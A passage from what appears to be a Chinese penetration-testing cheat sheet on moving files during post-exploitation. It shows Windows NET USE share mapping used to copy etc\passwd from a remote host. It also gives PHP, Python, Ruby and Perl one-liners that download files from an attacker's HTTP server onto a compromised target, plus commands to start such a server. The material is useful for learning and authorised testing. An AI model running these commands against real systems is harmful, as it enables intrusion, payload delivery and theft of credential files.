Caption Name
C: C:
D: D:
K: K:
直接进入 UNC 路径是不行的。
C:\Users\gbb>CD /d \\192.168.0.102\rootPath
'\\192.168.0.102\rootPath'
CMD 不支持将 UNC 路径作为当前目录。
所以才需要做盘符映射进入。
C:\Users\gbb>K:
K:\>
拷贝所需文件。
K:\>copy .\etc\passwd D:\
已复制 1 个文件。
K:\>dir D:\passwd
驱动器 D 中的卷是 SoftWare
卷的序列号是 6A6F-014C
D:\ 的目录
2021/12/20 09:09 3,137 passwd
1 个文件 3,137 字节
0 个目录 44,650,213,376 可用字节
或者直接指定共享连接名去操作资源。
C:\Users\gbb\Desktop>DIR \\192.168.0.102\rootPath\Users\raingray\Desktop\
驱动器 \\192.168.0.102\rootPath中的卷没有标签。
卷的序列号是 62F9-7CB4
\\192.168.0.102\rootPath\Users\raingray\Desktop 的目录
2023/02/20 13:01 <DIR> .
2022/02/04 17:32 <DIR> ..
2023/02/20 14:10 <DIR> Burpsuite
2023/02/20 13:01 <DIR> BurpSuite V2023.2.1
2023/02/20 11:27 770,901,924 BurpSuite V2023.2.1.zip
2022/02/04 17:37 2,338 Microsoft Edge.lnk
2 个文件 770,904,262 字节
4 个目录 38,692,884,480 可用字节
C:\Users\gbb\Desktop>COPY "\\192.168.0.102\rootPath\Users\raingray\Desktop\Microsoft Edge.lnk"
已复制 1 个文件。
C:\Users\gbb\Desktop>DIR
驱动器 C 中的卷没有标签。
卷的序列号是 1A02-7BC7
C:\Users\123\Desktop 的目录
2023/02/20 21:03 <DIR> .
2023/02/20 21:02 <DIR> ..
2022/02/04 17:37 2,338 Microsoft Edge.lnk
1 个文件 2,338 字节
2 个目录 45,802,074,112 可用字节
NET USE \\computername\sharename /del
退出登录。
C:\Users\gbb>NET USE \\192.168.0.102\IPC$ /del
\\192.168.0.102\IPC$ 已经删除。
C:\Users\gbb>NET USE
会记录新的网络连接。
列表是空的。
NET USE volume: /DELETE
另一种退出登录方法是指定 volume。/del
和 /DELETE
选项都是一个意思。
C:\Users\gbb>NET USE K: /DELETE
K: 已经删除。
C:\Users\gbb>net use
会记录新的网络连接。
列表是空的。
4.13 PHP
当 WebShell 无法执行命令,可以通过脚本下载文件写入。另一种场景是拿到一个系统 Shell 后利用系统自带语言环境下载文件。
直接执行 Code,将 http://
php -r 'file_put_contents("FileName", file_get_contents("http://<Host>/FileName"));'
开启 Web 服务器。
php -S <IP>:<Port>
4.14 Python
下载文件。
Python2 写二进制文件,将 http://
python2 -c "import urllib2;u=urllib2.urlopen('http://<Host>/FileName');f=open('Path', 'w');f.write(u.read());f.close()"
Python3 写二进制文件,将 http://
python3 -c "import urllib.request;u=urllib.request.urlopen('http://<Host>/Filename');f=open('Path', 'wb');f.write(u.read())"
Python3 写文本文件。注意事项:decode() 编码一定要和目标文本编码一致不然会乱码。
python3 -c "import urllib.request;u=urllib.request.urlopen('http://<Host>/FileName');f=open('Path', 'w');f.write(u.read().decode('UTF-8'))"
开启 HTTP 服务器。
Python2,在当前目录下开启 HTTP 服务器,端口是 8099。不指定端口默认绑定 8000。
┌──(kali㉿kali)-[~/Desktop]
└─$ python2 -m SimpleHTTPServer 8099 1 ⨯
Serving HTTP on 0.0.0.0 port 8099 ...
192.168.0.101 - - [11/Feb/2023 05:47:21] "GET / HTTP/1.1" 200 -
192.168.0.101 - - [11/Feb/2023 05:47:21] code 404, message File not found
192.168.0.101 - - [11/Feb/2023 05:47:21] "GET /favicon.ico HTTP/1.1" 404 -
Python3,在 0.0.0.0:8099 开启 HTTP 服务器,根目录在 /home/kali。
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server -b 0.0.0.0 -d /home/kali/ 8099 2 ⨯
Serving HTTP on 0.0.0.0 port 8099 (http://0.0.0.0:8099/) ...
192.168.0.101 - - [11/Feb/2023 05:50:11] "GET / HTTP/1.1" 200 -
Python3 版本支持的选项更多,可以指定 IP、目录和端口。
4.15 Ruby
// 将 <Host>/FileName 下载保存为 Path。只支持 HTTP,如果目标自动重定向到 HTTPS 则会出错。
ruby -e "require 'net/http';Net::HTTP.start('<Host>') { |http| r = http.get('/FileName');open('Path.png', 'wb') { |file| file.write(r.body)}}"
4.16 Perl
perl -MLWP::Simple -e 'getstore("http://<Host>/FileName", "Path")'
参考资料
最近更新:
发布时间: